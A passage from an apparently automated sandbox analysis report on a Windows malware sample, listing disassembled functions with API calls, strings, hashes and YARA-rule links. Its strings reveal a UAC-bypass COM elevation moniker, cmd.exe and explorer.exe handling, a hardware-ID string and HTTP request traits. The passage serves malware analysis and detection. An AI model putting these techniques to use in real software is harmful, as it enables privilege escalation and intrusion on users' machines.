Instruction Fuzzy Hash: 36018BB5A00208BBDB10DF94EC85BEE7774EF48704F10451DF604AB280EA799AC5C759

Function 00418132 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 004181C7

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt
String ID:
API String ID: 3761071962-0
Opcode ID: 4ee6c721d7e74ba1b33508c59e008d077bbf9c5bf04e8e0524d3ee55038333e7
Instruction ID: 0140c7c35a12c9d4d2f56a07fb600861de9f10bb1c8cf95726b017415bfd7771
Opcode Fuzzy Hash: 4ee6c721d7e74ba1b33508c59e008d077bbf9c5bf04e8e0524d3ee55038333e7
Instruction Fuzzy Hash: 36018BB5A00208BBDB10DF94EC85BEE7774EF48704F10451DF604AB280EA799AC5C759

Function 0042BA20 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002B9DE), ref: 0042BA25

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0db803ec54fc10e4d329c8e57eb35a83b0b4a84cff09d8a8d2f413425a5d23dc
Instruction ID: 36f714616a88036eb55af27c2dd355b8890758f503912e421fffb43fd9c6d75b
Opcode Fuzzy Hash: 0db803ec54fc10e4d329c8e57eb35a83b0b4a84cff09d8a8d2f413425a5d23dc
Instruction Fuzzy Hash: 159002B0351911568E006BB16C0E68567949A9970679154E2A111D4154EB6450849969

Function 00401C70 Relevance: 52.7, APIs: 17, Strings: 13, Instructions: 207stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401CBC
_memset.LIBCMT ref: 00401CF5

Part of subcall function 0041D2C0: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0040108A), ref: 0041D2CB
Part of subcall function 0041D2C0: GetProcAddress.KERNEL32(0040108A,IsWow64Process), ref: 0041D2E4

__snwprintf.LIBCMT ref: 00401D1F
__snwprintf.LIBCMT ref: 00401D41
_memset.LIBCMT ref: 00401D60
GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00401DB1
lstrcpyW.KERNEL32(-000004B8,KERNEL32.DLL), ref: 00401E04
lstrcpyW.KERNEL32(-00000580,OLE32.DLL), ref: 00401E1B
lstrcpyW.KERNEL32(-00000648,00000000), ref: 00401E32
lstrcpyW.KERNEL32(-00000850,0047BA14), ref: 00401E49
lstrcpyW.KERNEL32(-00000A58,?), ref: 00401E63
lstrcpyA.KERNEL32(-00000C60,CoGetObject), ref: 00401E7A
lstrcpyA.KERNEL32(-00000D28,CoInitialize), ref: 00401E92
lstrcpyA.KERNEL32(-00000D8C,IIDFromString), ref: 00401EAA
lstrcpyA.KERNEL32(-00000CC4,ExitProcess), ref: 00401EC1
lstrcpyW.KERNEL32(-00000008,{6EDD6D74-C007-4E75-B76A-E5740995E24C}), ref: 00401ED6
lstrcpyW.KERNEL32(-00000260,Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}), ref: 00401EEE

Part of subcall function 00406DB0: _memset.LIBCMT ref: 00406DCA
Part of subcall function 00406DB0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00406E85
Part of subcall function 00406DB0: _memmove.LIBCMT ref: 00406EAF

Strings

LoadLibraryW, xrefs: 00401DBD
KERNEL32.DLL, xrefs: 00401DF2
CoInitialize, xrefs: 00401E80
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00401EDC
CoGetObject, xrefs: 00401E69
IIDFromString, xrefs: 00401E98
ExitProcess, xrefs: 00401EB0
GetProcAddress, xrefs: 00401DD7
%s\SysWOW64\explorer.exe, xrefs: 00401D0E
OLE32.DLL, xrefs: 00401E0A
KERNEL32.DLL, xrefs: 00401DAC
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 00401EC7
%s\explorer.exe, xrefs: 00401D30

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$_memset$HandleModule__snwprintf$AddressCurrentProcProcess_memmove
String ID: %s\SysWOW64\explorer.exe$%s\explorer.exe$CoGetObject$CoInitialize$Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}$ExitProcess$GetProcAddress$IIDFromString$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryW$OLE32.DLL${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 3624918361-107688120
Opcode ID: 40525253a5e8a5da89c892eb0bd58939c720b1a21b5e82951a1952ac76e647ac
Instruction ID: c8fee24260e9be7943ba9fe3ab86d48d53a8280aae697df63fa7837ff87ae17c
Opcode Fuzzy Hash: 40525253a5e8a5da89c892eb0bd58939c720b1a21b5e82951a1952ac76e647ac
Instruction Fuzzy Hash: 4281A475A40218ABDB24DF60DC49FD977B6EFD8700F0044E9F609A2290DB79AAD4CF58

Function 004134D0 Relevance: 42.5, APIs: 18, Strings: 6, Instructions: 478stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

Part of subcall function 0040FCB0: __snwprintf.LIBCMT ref: 0040FD07
Part of subcall function 0040FCB0: DeleteFileW.KERNEL32(00000000), ref: 0040FD13
Part of subcall function 0040FCB0: __snwprintf.LIBCMT ref: 0040FD79
Part of subcall function 0040FCB0: __snwprintf.LIBCMT ref: 0040FDB3
Part of subcall function 0040FCB0: DeleteFileW.KERNEL32(00000000), ref: 0040FDBF
Part of subcall function 0040FCB0: RemoveDirectoryW.KERNEL32(00000000), ref: 0040FDC9

Part of subcall function 0040FA70: __snwprintf.LIBCMT ref: 0040FB6F
Part of subcall function 0040FA70: lstrlenW.KERNEL32(00000000), ref: 0040FB7E
Part of subcall function 0040FA70: _memset.LIBCMT ref: 0040FBBA

Part of subcall function 0040F950: __snwprintf.LIBCMT ref: 0040F9B1
Part of subcall function 0040F950: lstrlenW.KERNEL32(00000000), ref: 0040F9BD
Part of subcall function 0040F950: _memset.LIBCMT ref: 0040F9E7

Part of subcall function 0040CB60: lstrlenW.KERNEL32(?), ref: 0040CBC0

_memset.LIBCMT ref: 0041384A
_memset.LIBCMT ref: 00413929
__snwprintf.LIBCMT ref: 0041394E
_memset.LIBCMT ref: 0041396D
_memset.LIBCMT ref: 004139A6
__snwprintf.LIBCMT ref: 004139D1
__snwprintf.LIBCMT ref: 004139F5
_memset.LIBCMT ref: 00413A12
_memset.LIBCMT ref: 00413B1E
lstrcpyW.KERNEL32(?,?), ref: 00413B68
lstrcpyA.KERNEL32(?,?), ref: 00413B7C
lstrcpyA.KERNEL32(?,?), ref: 00413B90
lstrcpyA.KERNEL32(?,?), ref: 00413BA4
lstrcpyA.KERNEL32(?,?), ref: 00413BB8
lstrcpyA.KERNEL32(?,?), ref: 00413BCC
lstrcpyA.KERNEL32(?,?), ref: 00413BDD
lstrcpyW.KERNEL32(?,?), ref: 00413BF1
lstrcpyW.KERNEL32(?,?), ref: 00413C05

Strings

D, xrefs: 00413A1A
%s%s, xrefs: 0041393D
Software\%s, xrefs: 004136A7
SOFTWARE\%s, xrefs: 0041378B
Software\%s, xrefs: 0041373F
Software\%s, xrefs: 004136F3

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$__snwprintf_memset$lstrlen$DeleteFile$DirectoryRemove
String ID: %s%s$D$SOFTWARE\%s$Software\%s$Software\%s$Software\%s
API String ID: 3783373364-3139701001
Opcode ID: 05fb12e27edcc6c2d6afc6ad5ca974c20c164695b6e9347c4c6c97bdc79d9b09
Instruction ID: 554e4eb59d561f71bdd4bdf1aedcfae321491c4bd9710b2450149f4ca0220a30
Opcode Fuzzy Hash: 05fb12e27edcc6c2d6afc6ad5ca974c20c164695b6e9347c4c6c97bdc79d9b09
Instruction Fuzzy Hash: 4B226FB1E00228ABDB24DF50DC49FD9B778BB49704F0085EAE60DA6281DB795BC8CF55

Function 0040FE00 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 458COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040FFD0
_memset.LIBCMT ref: 0041003B

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

_memmove.LIBCMT ref: 00410079
_memmove.LIBCMT ref: 0041015A
_memset.LIBCMT ref: 004101DA
__snwprintf.LIBCMT ref: 004101FA
_memset.LIBCMT ref: 0041023B
__snwprintf.LIBCMT ref: 0041025A
_memset.LIBCMT ref: 00410308
__snwprintf.LIBCMT ref: 0041032A
_memset.LIBCMT ref: 00410349
__snwprintf.LIBCMT ref: 0041036B
_memset.LIBCMT ref: 004103A9
__snwprintf.LIBCMT ref: 004103C8
_memset.LIBCMT ref: 004103E7
__snwprintf.LIBCMT ref: 0041040E

Part of subcall function 0042466A: __flsbuf.LIBCMT ref: 00424714
Part of subcall function 0042466A: __flsbuf.LIBCMT ref: 0042472C

_memset.LIBCMT ref: 0041046E

Strings

DLLCFG, xrefs: 0040FFE4
%s\%S.DLL, xrefs: 004103FD
%s\cmd.exe, xrefs: 004101E9
open, xrefs: 00410480
@, xrefs: 004104A2
<, xrefs: 00410476

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf$_memmove$__flsbuf$lstrlen
String ID: %s\%S.DLL$%s\cmd.exe$<$@$DLLCFG$open
API String ID: 2279397060-2831413099
Opcode ID: ef5c106684b76df30df0f945d1d101c7aa619b7a2f0416118fc1fccf789544c9
Instruction ID: 9cb022f46225b0203a2f048387365820bfab8b78884083a4f67b60c848bcf3f8
Opcode Fuzzy Hash: ef5c106684b76df30df0f945d1d101c7aa619b7a2f0416118fc1fccf789544c9
Instruction Fuzzy Hash: 47127F71D00228ABDB24DF64DC45BDAB7B4EF49304F4045EAE60DA6281DBB86EC4CF59

Function 0041C690 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0041C6B4
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 0041C6D8
LocalFree.KERNEL32(00000000), ref: 0041C988
CloseHandle.KERNEL32(?), ref: 0041C99D
CloseHandle.KERNEL32(?), ref: 0041C9BD
CloseHandle.KERNEL32(?), ref: 0041C9DD

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 0041C721

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$Create$EventFreeLocalMutex
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
API String ID: 4059844998-3593534564
Opcode ID: fabdf2de27c9ed5b3d3675b6cb3fc5b280882c19a611ed24f1dbdfca60594713
Instruction ID: 8e2eb44450e80806de686dfde9ead24df060b4f6c6e6b17cac50333030547494
Opcode Fuzzy Hash: fabdf2de27c9ed5b3d3675b6cb3fc5b280882c19a611ed24f1dbdfca60594713
Instruction Fuzzy Hash: AE919E71A94304DFD768CFA4DD88FEA77B5AB85301F20407AE21A962E0C77859C8CF59

Function 004293D7 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00427259), ref: 004293DF
__mtterm.LIBCMT ref: 004293EB

Part of subcall function 00429124: DecodePointer.KERNEL32(?,0042954D,?,00427259), ref: 00429135
Part of subcall function 00429124: TlsFree.KERNEL32(?,0042954D,?,00427259), ref: 0042914F
Part of subcall function 00429124: DeleteCriticalSection.KERNEL32(00000000,00000000,76EE5810,?,0042954D,?,00427259), ref: 0042D6E2
Part of subcall function 00429124: _free.LIBCMT ref: 0042D6E5
Part of subcall function 00429124: DeleteCriticalSection.KERNEL32(?,76EE5810,?,0042954D,?,00427259), ref: 0042D70C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00429401
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042940E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042941B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00429428
TlsAlloc.KERNEL32(?,00427259), ref: 00429478
TlsSetValue.KERNEL32(00000000,?,00427259), ref: 00429493
__init_pointers.LIBCMT ref: 0042949D
EncodePointer.KERNEL32(?,00427259), ref: 004294AE
EncodePointer.KERNEL32(?,00427259), ref: 004294BB
EncodePointer.KERNEL32(?,00427259), ref: 004294C8
EncodePointer.KERNEL32(?,00427259), ref: 004294D5
DecodePointer.KERNEL32(004292A8,?,00427259), ref: 004294F6
__calloc_crt.LIBCMT ref: 0042950B
DecodePointer.KERNEL32(00000000,?,00427259), ref: 00429525
GetCurrentThreadId.KERNEL32 ref: 00429537

Strings

FlsGetValue, xrefs: 00429403
FlsAlloc, xrefs: 004293FB
KERNEL32.DLL, xrefs: 004293DA
FlsSetValue, xrefs: 00429410
FlsFree, xrefs: 0042941D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 1ca45e562565d4625d10964ac37ef6975b94661d637a3fff8b7ada5e85743eee
Instruction ID: 27d2c4b6ff5e896d7de6a847955b3a202fa4fd1f8d9c6c08bd0691e81280500b
Opcode Fuzzy Hash: 1ca45e562565d4625d10964ac37ef6975b94661d637a3fff8b7ada5e85743eee
Instruction Fuzzy Hash: A7318031A106209BCBA26F79BC4D65E3EA1AB45730F50193FE408D32B0DB7A9885CF5C

Function 004222F0 Relevance: 37.7, APIs: 25, Instructions: 186synchronizationmemorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00422F70: lstrcpyA.KERNEL32(0047FF48,0047C710), ref: 00422FC4

WaitForSingleObject.KERNEL32(?,00000000), ref: 0042224D
WaitForSingleObject.KERNEL32(?,00000000), ref: 00422270
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00422288
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00422351
LocalAlloc.KERNEL32(00000040,00000004), ref: 00422368
CreateThread.KERNEL32(00000000,00000000,00422650,00000000,00000000,00000000), ref: 00422394
GetTickCount.KERNEL32 ref: 004223B1
WaitForSingleObject.KERNEL32(?,00000000), ref: 004223D9
WaitForSingleObject.KERNEL32(?,00000000), ref: 004223F3
WaitForSingleObject.KERNEL32(?,00000000), ref: 0042240E
SetEvent.KERNEL32(00000000), ref: 004224C2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004224CE
CloseHandle.KERNEL32(00000000), ref: 004224E9
LocalFree.KERNEL32(00000000), ref: 00422500
CloseHandle.KERNEL32(00000000), ref: 0042250A
CloseHandle.KERNEL32(?), ref: 00422539
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00422596
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004225A7
SetEvent.KERNEL32(00000000), ref: 004225B8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004225C4
CloseHandle.KERNEL32(00000000), ref: 004225D4
CloseHandle.KERNEL32(00000000), ref: 004225EB
CloseHandle.KERNEL32(?), ref: 00422604
ReleaseMutex.KERNEL32(00000000), ref: 0042261E
CloseHandle.KERNEL32(00000000), ref: 00422628
CloseHandle.KERNEL32(00000000), ref: 00422638
CloseHandle.KERNEL32(00000000), ref: 00422642

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$CreateLocal$AllocCountFreeMutexReleaseThreadTicklstrcpy
String ID:
API String ID: 335535459-0
Opcode ID: 728a46b10e1e2828013278dd28072e5c69e21a7936df1565eb22f3c40a2ad63d
Instruction ID: faa1747313b486ccb3f578eecdb1efd3cb5c6adc5866f93d4004153facd3ec1a
Opcode Fuzzy Hash: 728a46b10e1e2828013278dd28072e5c69e21a7936df1565eb22f3c40a2ad63d
Instruction Fuzzy Hash: DE715071B04214FBD714DFA4EE8DBEE7775AB48301F508425F605A62E0C7B89988CF69

Function 00414030 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 267COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 004140C2
__snwprintf.LIBCMT ref: 00414104
_wcscat.LIBCMT ref: 0041411A
__snwprintf.LIBCMT ref: 004141B5
_wcscat.LIBCMT ref: 004141CB
__snwprintf.LIBCMT ref: 00414247
_wcscat.LIBCMT ref: 0041426A
__snwprintf.LIBCMT ref: 004142D9
_wcscat.LIBCMT ref: 004142FC
__snwprintf.LIBCMT ref: 004143A1
_wcscat.LIBCMT ref: 004143B7
__snwprintf.LIBCMT ref: 00414433
_wcscat.LIBCMT ref: 00414456

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

Strings

'%s%s', xrefs: 004141A4
'%s%s', xrefs: 00414422
'%s%s', xrefs: 004142C8
'%s', xrefs: 004140F3
'%s%s', xrefs: 00414236
'%s%s', xrefs: 00414390

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _wcscat$__snwprintf$_wcsrchr
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 512907449-4258658051
Opcode ID: e4d358261fa82804b23b57eafcd4642956b28081c5567a7a4f6f91946d3d581f
Instruction ID: e6bc7966429afb5a548ca13169817c41486c1a403d71daee44646cc54eb2adf1
Opcode Fuzzy Hash: e4d358261fa82804b23b57eafcd4642956b28081c5567a7a4f6f91946d3d581f
Instruction Fuzzy Hash: 33B19171A4011DEBDB24DF90DC89FE9B379EBA4704F1081A9E1099B290D7789EC5CF58

Function 00404BF0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00404C10
_memset.LIBCMT ref: 00404C2F
_memset.LIBCMT ref: 00404C4E
__snwprintf.LIBCMT ref: 00404C98
_memset.LIBCMT ref: 00404CC6
__snwprintf.LIBCMT ref: 00404CFC
__snwprintf.LIBCMT ref: 00404D3C
__snwprintf.LIBCMT ref: 00404DB6

Strings

"%s", xrefs: 00404F6F
D, xrefs: 00404ED9
%s\%s, xrefs: 00404DA5
Open, xrefs: 00404F9F
%s\%s, xrefs: 00404D2B
"%s" "%s", xrefs: 00404EA3

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memset
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$D$Open
API String ID: 2455478650-2887319354
Opcode ID: 9fec37e90be1e5d711fe9ccb1d09c48fbe43895e1659c25594be146fa64a0b8d
Instruction ID: c753a69d3ae3a34ff5e4dfe94b40a541838cb6eac363416705fce405ddd013d8
Opcode Fuzzy Hash: 9fec37e90be1e5d711fe9ccb1d09c48fbe43895e1659c25594be146fa64a0b8d
Instruction Fuzzy Hash: 46A1B9B1A00318ABDB20DF60DC45FDA7375AFD8704F0045A9F609A61C1EBB49AC4CF99

Function 0041A180 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 390COMMON

Download Yara Rule

Strings

GET, xrefs: 0041A437
*/*, xrefs: 0041A1A2
<, xrefs: 0041A316

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID:
String ID: */*$<$GET
API String ID: 0-4180448669
Opcode ID: 387d3dfbc3b61c523a69bc3412403f4b330e72a210b5eceb4ec097b738280215
Instruction ID: 7a99ec0447dbee7cda976f748ed39e4c3387e5de0808e2fe2ca4f614e4815334
Opcode Fuzzy Hash: 387d3dfbc3b61c523a69bc3412403f4b330e72a210b5eceb4ec097b738280215
Instruction Fuzzy Hash: 63021AB0901318DFDB14CFA4DD99BEEB7B4BB48304F104199E659AB280D778AAC4CF59

Function 00405110 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 352stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(?,0047C338), ref: 00405149
lstrcpyW.KERNEL32(?,00479842), ref: 00405161
lstrcpyW.KERNEL32(?,0047C3D4), ref: 00405179
lstrcpyW.KERNEL32(?,00475E78), ref: 0040518F
lstrcpyW.KERNEL32(?,00475DB0), ref: 004051A7
lstrcpyW.KERNEL32(?,00475B58), ref: 004051BF
lstrcpyW.KERNEL32(?,0047C29C), ref: 004051D5
_memset.LIBCMT ref: 004052D2

Strings

HWID_%s, xrefs: 00405358
%s %s, xrefs: 00405544

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$_memset
String ID: %s %s$HWID_%s
API String ID: 173388403-149837424
Opcode ID: 5d8877784fb2612adda9e3ece72a4bc02278172bfb60a6d555ad60f0d597c1dc
Instruction ID: fcda67d3f53b81f4923cad0cc3be4f9e0ccbba969170b24f050bdd49e9c28d54
Opcode Fuzzy Hash: 5d8877784fb2612adda9e3ece72a4bc02278172bfb60a6d555ad60f0d597c1dc
Instruction Fuzzy Hash: 12E1A170A10204AFD718DF60EC49FEB7779EB48304F40857AE50DA6292E7B999C8CF59

Function 0041CB80 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 281librarymemoryCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,0047B13E), ref: 0041CB92
LoadLibraryW.KERNEL32(KERNEL32.DLL), ref: 0041CBA2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041CBB9
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0041CBDD
CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Strings

KERNEL32.DLL, xrefs: 0041CB9D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$Local$AllocExitFileFreeLibraryLoadModuleMutexNameOpenProcess
String ID: KERNEL32.DLL
API String ID: 1134908570-2576044830
Opcode ID: 0da63d721fd1b8c6d508c4ec5c50e407317695fc09efdd9f34cfbae4d9aa62e2
Instruction ID: 63940c65c2a952fe54cb436896a4f62cda96884ae11185d129b6539cdb42b133
Opcode Fuzzy Hash: 0da63d721fd1b8c6d508c4ec5c50e407317695fc09efdd9f34cfbae4d9aa62e2
Instruction Fuzzy Hash: 0BB18070A84304DBDB14AFA0ED89BEE77B5AB14705F20403AF619B62D0D7B858C5CB5E

Function 004089C0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0041CD61), ref: 004089CD
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004089E7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00408A01
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 00408A1F
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 00408A32
__snwprintf.LIBCMT ref: 00408A4E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00408A5E
LocalFree.KERNEL32(00000000), ref: 00408A6C
LocalFree.KERNEL32(00000000), ref: 00408A76
LocalFree.KERNEL32(00000000), ref: 00408A80
LocalFree.KERNEL32(00000000), ref: 00408A91
LocalFree.KERNEL32(00000000), ref: 00408A9B
LocalFree.KERNEL32(00000000), ref: 00408AA5

Strings

%s\cmd.exe, xrefs: 00408A40

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem__snwprintflstrcmpi
String ID: %s\cmd.exe
API String ID: 4247545968-923833829
Opcode ID: d6eb2a02f91aa35655597c519299a3ce8976dd758b8ff4c3930e6d3aac2b402a
Instruction ID: 3f565d551990a7556bdd0c062e45508b88c72433986c6d439a255130911ae3d3
Opcode Fuzzy Hash: d6eb2a02f91aa35655597c519299a3ce8976dd758b8ff4c3930e6d3aac2b402a
Instruction Fuzzy Hash: C8212875B04309FBDB149FA4DD49BAE77B5AB88701F1044B9F705A66D0CA78A940CF18

Function 00422650 Relevance: 24.5, APIs: 16, Instructions: 459synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 004226C6
WaitForSingleObject.KERNEL32(?,00000000), ref: 0042270E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00422748
WaitForMultipleObjects.KERNEL32(00000006,?,00000000,000000FF), ref: 0042299E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00422CA7
CloseHandle.KERNEL32(00000000), ref: 00422E22
LocalFree.KERNEL32(?), ref: 00422E6E

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingle$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 960796149-0
Opcode ID: 926079ce3b34f8aa2bebee9943d390324f444ca90cabbcbdb484abdf5ec99831
Instruction ID: e61ef60d893c71df151f921427a0a639f3976ef8da9708c7d2e896f1f2b42219
Opcode Fuzzy Hash: 926079ce3b34f8aa2bebee9943d390324f444ca90cabbcbdb484abdf5ec99831
Instruction Fuzzy Hash: 31223274B00218EFDB24DF94ED48BEA7775BB89304F5044A9EA49A7280C7B85EC4CF55

Function 00416A30 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 290filestringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00000000,00000000), ref: 00416AB9
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00416AED
GetFileSize.KERNEL32(000000FF,00000000), ref: 00416B06
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 00416B44
CloseHandle.KERNEL32(000000FF), ref: 00416B5A

Strings

.DLL, xrefs: 00416ABF
P{A, xrefs: 00416A82, 00416D05, 00416A85

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleReadSizelstrcpy
String ID: .DLL$P{A
API String ID: 3530118091-1392461530
Opcode ID: 7472eaf7f6e632be50e5b3be10fa481bc85ba020c02400b5772d393eb835cb27
Instruction ID: 8f496f5161c6566fac696d600ad60fdf2f328ff75d08b78d54c198b0cf88cc25
